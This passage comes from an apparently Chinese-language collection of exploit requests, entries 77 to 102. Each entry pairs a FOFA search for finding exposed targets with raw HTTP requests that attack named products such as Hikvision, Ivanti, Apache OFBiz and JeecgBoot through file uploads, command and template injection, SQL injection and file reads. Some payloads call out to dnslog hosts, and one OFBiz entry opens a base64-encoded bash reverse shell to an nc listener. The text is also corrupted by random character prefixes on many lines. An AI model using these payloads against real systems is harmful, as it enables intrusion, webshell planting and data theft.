* s* a8 J1 i/ `" I/ I' n# |: E{
"command": "GetFZinfo",
$ n5 W8 T2 B5 m  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
. e4 R2 ]# c) |  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
1 ^3 X8 Y: x+ o6 |}


GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
# I3 z( [4 U& b  nHost: x.x.x.x


' k. p5 K: C3 C) x
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
2 E5 a3 A, Y- b' q% ^/ o5 _POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
: U/ ~% ~6 k9 D: \7 g7 _Connection: close
Content-Length: 433
9 @: k3 d- \5 o$ g" rAccept: */*
3 t: k9 }9 T& v7 W7 a2 E8 aAccept-Encoding: gzip, deflate
. H( M( S# ^- eAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
1 N* Z) r& e! t2 v2 Z1 q2 l% C
------------398jnjVTTlDVXHlE7yYnfwBoix
# G0 v4 }, Z# E: @) ]Content-Disposition: form-data; name="folder"

/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
* ?0 L2 j: m" S$ NContent-Type: application/octet-stream

8 }3 _$ R: o" M/ n0 ]hello1234567
. b+ ]/ N& L2 q  {$ M% k------------398jnjVTTlDVXHlE7yYnfwBoix
( q/ b/ J6 n: f8 {8 `Content-Disposition: form-data; name="Upload"
1 ~" ]6 [: o; k" y  f- S
( Z6 m+ R2 _: b2 PSubmit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--


/ l! Q& t" y5 e' J7 N& `* ~0 l78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
/ C8 r( z. _1 |7 L0 QFOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
1 u  n- b+ L4 G$ Y5 vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 D- n7 V. E* G' u3 Q& mConnection: close
+ u9 N4 }9 \7 Z  c2 w3 n8 ~Content-Length: 336
# k5 J$ ^8 t- h3 q' M; pAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
0 Y) d* ]0 D: |+ i  @4 c
  |# h2 m* x! X4 F------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
% x. ~% k- S% @% `' G8 H  X3 y3 R; JContent-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
+ @7 F! n, `$ j% w0 \: X8 G0 \Content-Disposition: form-data; name="target"
7 {0 D+ P" ]: d; _$ [9 f% J
3 {) [, S4 X# D- _6 z/Applications/SkillDevelopAndEHS/
" u0 s8 c% q3 Z( R------YsOxWxSvj1KyZow1PTsh98fdu6l--


GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
) r, n. ~- ~: q1 G! ^9 U$ {Host: x.x.x.x
$ x  Q( I  E9 q; V* F/ \( g
5 g" D' X  }& A2 _) Z
79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
! q' I7 w* `9 r2 s6 Y) D/ ~; nGET /goform/webRead/open/?path=|id HTTP/1.1
4 X1 ^  x; t7 K3 a( }8 C; W7 THost:IP
4 _! L9 B  `$ g9 v% j5 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
2 d; M7 L1 G4 t. _  R. G. oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 v# p( S8 R4 X: _Accept-Encoding: gzip, deflate
: j6 y" E5 b4 r" J( pConnection: close
8 D! D1 `4 A7 NUpgrade-Insecure-Requests: 1
* g! E; m4 U0 W
: y9 c( l2 _& b7 ^
1 Q; ~/ d! |) w3 ?% T2 H9 x80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
# e/ w3 I% b1 d9 ~* V* B, gFOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
! |: ?- A; B4 b0 j0 BHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 X- P3 c( f: H( {; R) P/ H3 wContent-Length: 27
5 v0 R" |) t7 e% p6 P. KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
5 |9 ^/ {1 G5 E" P, v5 xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
8 u+ S8 e7 ]1 }; g4 x  N% Z9 Z/ JContent-Type: application/octet-stream
9 q* n9 }/ y* {* [8 ~0 t& @: N% w) AUpgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>

" f8 u4 H+ x: r4 C$ r0 a) S% K5 |
& i3 W) K' X/ TGET /xykqmfxpoas.jsp HTTP/1.1
7 S9 _9 R! A4 W8 iHost: x.x.x.x
9 C! [0 ^6 [4 u! IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
6 D( }9 s/ z9 |. C: eAccept-Encoding: gzip

  {5 |* Y0 r  g% u$ D
" A7 ?9 Q% w0 k" z4 F5 i- }* w81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
% t* ^) e) Y) ?( t, P0 E4 CFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
5 _, i! t6 {6 C1 R) IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" e: W2 M: p3 B/ |! }- V" q) WConnection: close
Accept-Encoding: gzip
, y+ f/ M: h- ~& \
+ O+ l, s( K9 \/ V- o/ Y3 g7 U3 `
/ ^6 ^: b* H4 ~, F9 d1 i" f9 U82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
$ z) w! [- T2 P2 J. Z! d6 L0 UFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
$ I+ P0 V3 Y1 w; u/ zUser-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL

z1=1&z2="|id;"&z3=bhost

  w) q2 A  H  m7 }# _( \
83. JeecgBoot testConnection 远程命令执行
, _: o9 t! _. G7 MFOFA：title=="JeecgBoot 企业级低代码平台"


! h, Q2 E/ x3 r1 [, ?: pPOST /jmreport/testConnection HTTP/1.1
- X  z, h: \. n# O* Q( q8 }Host: x.x.x.x
; s" D( b( D5 L/ k. FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# F' N6 b! g7 L  v' B8 n6 b) LConnection: close
1 _. k  K0 A) b. vContent-Length: 8881
Accept-Encoding: gzip
& m% G" I" z0 L0 S& iCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
/ z  G# V: W3 @$ S1 {% a0 E( M7 RContent-Type: application/json
3 U2 R# x% Z8 D/ K2 I, a" @' q! g
$ A3 b0 {, u2 ~& h7 TPAYLOAD
+ k+ W+ ]% L6 B% E$ c9 C: q8 R
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
6 p& y& Z' ]; V" ~FOFA：title=="JeecgBoot 企业级低代码平台"



/ U9 G2 W8 I+ I; U% t, H% TPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
/ }$ d3 ~# {+ w$ ~1 B2 c7 f0 ^Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
/ E2 n0 j& C! W; TContent-Length: 156
Accept: */*
8 \$ ~2 |& `" w& K* |/ eConnection: close
Content-Type: application/json
8 e, R) z% D0 x/ ]* e  c0 M7 |Accept-Encoding: gzip

" l0 Y9 p3 ^, n1 \; q2 @* l{
4 i) {5 o) P" y' V2 F "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}

, B) L$ @( M$ [: i( H
( G% U- Y7 D0 H0 i; v85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
4 X. v; C7 g% f4 N- rEXP数据包如下，注入哥斯拉马
0 g" b/ h- O% bPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
- Z, Y) o; Y$ h( \+ }. m/ YHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip
4 i0 a2 d! C, c2 z& v( Y5 A
$ i1 A- t6 _  E% |7 e, g, `PAYLOAD
+ C) J' }" n6 [  K. m) w0 z
回显URL：http://x.x.x.x/userfiles/index.jsp
) u* y% X5 C( G) }2 e3 i
86. 日本tosei自助洗衣机RCE
$ x0 y9 }6 ~* B2 iFOFA：body="tosei_login_check.php"
6 Q6 \7 V: {$ sPOST /cgi-bin/network_test.php HTTP/1.1
' a  k' G9 l! O2 M* DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
  \3 a- u! M8 BAccept: */*
7 {5 }1 ?8 K9 W$ n4 \Accept-Encoding: gzip
Accept-Language: en
, C$ h2 ~! n) SContent-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping


87. 安恒明御安全网关aaa_local_web_preview文件上传
+ d7 S8 k  o! O3 y6 I" R: BFOFA：title="明御安全网关"
  ]$ U! W* s: z7 t' L/ FPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
" W5 x: V( v, _" w3 YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
- T5 L, U, G4 Q* d6 W; M( j. q8 oContent-Length: 198
3 m+ O0 a5 _! Y6 U) I3 m% Z  LAccept-Encoding: gzip
7 h; Y% C- s: u% b  MContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

' Y0 ^. ?/ p1 U# U% r6 {--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
5 ~2 y. T& \1 S- y! Z7 KContent-Type: text/plain

2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--

( M) {  n! J  G5 x5 E/ H. J1 S
/jfhatuwe.php
+ C! s% Y( v$ x
4 U* E) q9 z$ x  T8 m+ F2 l88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
* W. T, U6 G9 b7 J0 \$ THost: x.x.x.xx.x.x.x
1 Q) Z8 m! l1 O, O. a9 y- RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
% L8 l3 Z$ ?+ ?# [2 u* H) eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close


# Z6 m% O5 l" v1 W' K' i' |4 B9 T, B/astdfkhl.php

! `" r! @, e/ q2 y" f3 Y89. 致远互联FE协作办公平台editflow_manager存在sql注入
1 H% z7 x" t# KFOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
! t6 S8 A0 Z5 H' ZHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 Z# B" u1 V* M4 ?: ~/ kConnection: close
8 Q% z/ g, }5 _- NContent-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
9 C  g, B# C# T1 U( m; i2 \/ T
option=2&GUID=-1'+union+select+111*222--+
9 b* l  H7 ~# F& p5 T2 M1 A

% N; D. w2 H8 x- D1 _: s) e90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
) s/ |  G( E8 b! T) }# m" bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
1 K+ Z4 J' Y8 AContent-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 l( V1 R0 t: fConnection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
" M% l+ Z4 }; j$ m/ {
9 s- W% u9 {2 L. g) b
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
# u4 f- A! \+ S1 W2 sFOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
) v* V! ^2 R) }9 Z7 E+ _) k. wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
$ d- M1 I% F4 U, {! G1 xAccept-Encoding: gzip, deflate
Accept: */*
  f" t3 }8 a9 W& iConnection: keep-alive

/ }4 X0 V" @+ a: L2 t* h
: P' d! n2 r3 d; h) j, q. n
92. 海康威视运行管理中心session命令执行
+ Q/ t+ O- Z/ l9 \9 ~/ O+ A* tFastjson命令执行
. b5 P/ e+ Q- m5 g8 w- S) phunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
+ k1 K9 t: G# Z+ m2 SAccept: application/json, text/plain, */*
/ ]: i+ Y3 m3 s: [* a( i! vAccept-Encoding: gzip, deflate
+ F$ @' H- Y3 {! v2 lX-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
: C3 R, r1 z4 r+ v; C7 yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
& a5 Z, a4 ]* R* [Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

* f- @: S# k8 O3 b' iPAYLOAD
2 Y( e7 q) Y$ C- `" g2 A. }* Y

4 a* d/ C( S% o3 K: B2 S8 Z" {3 q93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
* U  B6 b7 v* zContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

% [. T) u' d$ U4 C0 F- I1 V------WebKitFormBoundarykcbkgdfx
- @# m& H" ]! fContent-Disposition: form-data; name="MAX_FILE_SIZE"
; Q/ w- d# r$ q. [( g$ S
8 A* b1 u9 u* A. e10000000
------WebKitFormBoundarykcbkgdfx
8 E: p; f2 Q, e8 A: }Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
+ A0 ^5 Y+ P# w, V6 v  j6 Z& oContent-Type: text/plain
2 p) b% Q, ^: W" _1 [/ Y* _9 S
5 E1 L6 n" n% ]wagletqrkwrddkthtulxsqrphulnknxa
& Z6 s# t% |" W- q" j------WebKitFormBoundarykcbkgdfx
; h: p* l5 p6 }* {Content-Disposition: form-data; name="submit_post"
$ }8 P) j1 u, Z+ E  G
obj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
4 i4 V( ~+ n$ I* S' l
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
: C4 C. w4 n; M; t: n) j2 k" [
2 F% }9 L/ s  B& j) A5 h" x- R
GET /attachements/xlskxknxa.txt HTTP/1.1
/ ?2 T' v9 H# b, B, C# d! `Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
% o" r' j# m9 _" {! A/ j( W0 H
  \0 E- w' X/ B% i! B% q9 {
& v9 T/ R, q; `3 u( ~7 N% O  n94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
8 l( S# ^! S& f: B  }+ HFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
; Y/ I6 [+ j5 E- nHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
9 x. K0 n1 j3 g% Y/ c; YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
' R$ s3 ^7 k( n* e# Y4 ~3 C) G
------WebKitFormBoundarybqvzqvmt
0 O- _1 ^& r1 w0 fContent-Disposition: form-data; name="MAX_FILE_SIZE"
4 b; n3 q; H; k6 |5 J. Y7 f
# z8 [7 S( b% Y% p, I10000000
# Q  |, l- h1 t' t------WebKitFormBoundarybqvzqvmt
, \% q+ w. @9 M" gContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

  j5 f$ V9 E% oobj_app_upfile
------WebKitFormBoundarybqvzqvmt
$ }+ p2 K& o% X0 M$ e- SContent-Disposition: form-data; name="__hash__"

- R! f! G$ s: I% ?0b9d6b1ab7479ab69d9f71b05e0e9445
6 {% `* M# Y2 S# a" a5 I& F1 [------WebKitFormBoundarybqvzqvmt--

+ X! N! ?+ I3 Q% p& C

GET /attachements/xlskxknxa.txt HTTP/1.1
' w' D( J4 n6 g4 Y$ u! D% r$ iHost: xx.xx.xx.xx
. N( c# R& e1 _0 E! r" R3 w4 jUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
5 ~) n% h  P1 D" @0 U. @

0 `# @' @6 k2 J/ F7 k! @
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
: K# W, H2 w* F: [6 h& v. qUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
) V/ x. Y% n/ `  yContent-Type: application/xml
Accept-Encoding: gzip
0 }% L. I8 o1 y& E9 Q
/ ~7 n0 o# U$ H% y  E$ T6 L<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
" s( }2 y" Y0 Z/ F* [    <params>
      <param>
* P9 ?! z) M( {+ ?& C- O      <value>
        <struct>
       <member>
          <name>test</name>
7 d1 o3 s+ D  V2 @: Y5 z( {$ p          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
      </struct>
      </value>
    </param>
: u8 k* M0 h! m    </params>
7 m4 L+ [: b- w* e, u# l</methodCall>
5 `% T0 B. C  H3 u& A, d! H

, @' X: H9 P5 ]0 Y8 d4 x用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
+ H  j  W/ [' v! t3 X4 i) O

将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
1 X" o# U8 V+ [3 QAccept-Encoding: gzip

4 n' ~3 _/ S# z' f3 YPAYLOAD
1 ?9 t) x( n( X9 {- ~. p* m
96. Apache OFBiz  18.12.11 groovy 远程代码执行
) P5 l; f% l' m2 OFOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
& w' j; t& v2 Y9 Y* C+ mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
! w# {% `" D) S4 r* g0 H. |Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
+ R/ n: B0 l$ ~Content-Length: 55

. t9 U3 [( D/ N3 V3 ZgroovyProgram=throw+new+Exception('id'.execute().text);


反弹shell
在kali上启动一个监听
4 h4 \& H- b, Q& W5 n  |9 \" tnc -lvp 7777
) `4 ^7 J0 x/ L' a1 m
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
- `( o8 I) P% q0 D6 y/ CHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
: c3 f) o( {8 w% qAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

8 t8 N" P- E1 f+ D1 E, w: dgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
7 @- `, A& d( M( ~
( }1 d- B8 S" M' H" T. k7 T/ U( \# e# a97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
/ v6 T- ]+ J! F. J% s7 J; Y5 ~GET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
. K( r8 j& p" M6 U" ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
- _% w  w5 v, y: p7 ^Connection: close
+ W6 n( i3 T* c( [1 q, XCookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"

0 t6 R7 ]" p1 f, v, h* |) ?
98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
0 r" B0 i  V; UFOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
Accept: */*
8 l$ h1 n1 G$ g5 Y* w  MAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) `# q4 U' L- E& c3 d0 uContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
: S) c$ p  M% Q( X
id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
* F7 C, D# J$ K# c- a3 E

99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
4 W: D5 V/ ^' GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
# Y; Z. i8 n/ k8 L8 {: `* zConnection: close
Content-Length: 154
Accept: */*
# M3 D3 M/ z5 e: n4 o/ LAccept-Encoding: gzip, deflate
& t2 F. E( U" \' f( @! X9 r  Y. JAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
3 I1 h6 Z; S" LX-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
) m0 M, O: X+ g  ~- \
; ?- C6 o9 x/ c3 }, L
2 G- C; I+ q7 ^+ u/ D100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
9 a* N- A7 O7 c9 R+ Q4 A; ]7 [POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
; I% K8 |- x# o: G6 eUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
! y! U( o9 M9 c; [9 o0 |Content-Length: 201
3 E+ s9 g9 }, j' n/ qContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
% v3 z- W$ Q1 k. l; Q# aAccept-Encoding: gzip
# V" }: g3 p" q0 r
------WebKitFormBoundarygcflwtei
- M1 e/ V3 \; r; B# G: r5 [Content-Disposition: form-data; name="file";filename="IE4MGP.php"
4 s9 E( l* Q$ G$ m. g1 @' Q0 eContent-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--

3 P6 v  e) y" R5 U- U2 a) U' x
101. ivanti policy secure-22.6命令注入
, ?, B$ t2 J& I6 NCVE-2024-21887
3 U  o; F4 l2 SFOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
$ W- Y, q0 ?6 T: zConnection: close
Accept-Encoding: gzip
3 J& \3 K8 u# l- T  y( q: o# z7 y

3 \0 Y: Z( u, H6 E3 _6 y! z! x102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
9 Q7 Z7 l" v: B2 M3 W  n, r; O4 h) |3 l3 P! xFOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
2 [; }$ W2 v" C+ m9 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
9 {- L) r1 Q$ A$ ~6 e9 I" CContent-Length: 792
4 L7 ^3 ]1 D0 G$ F# E5 V3 _2 bAccept-Encoding: gzip

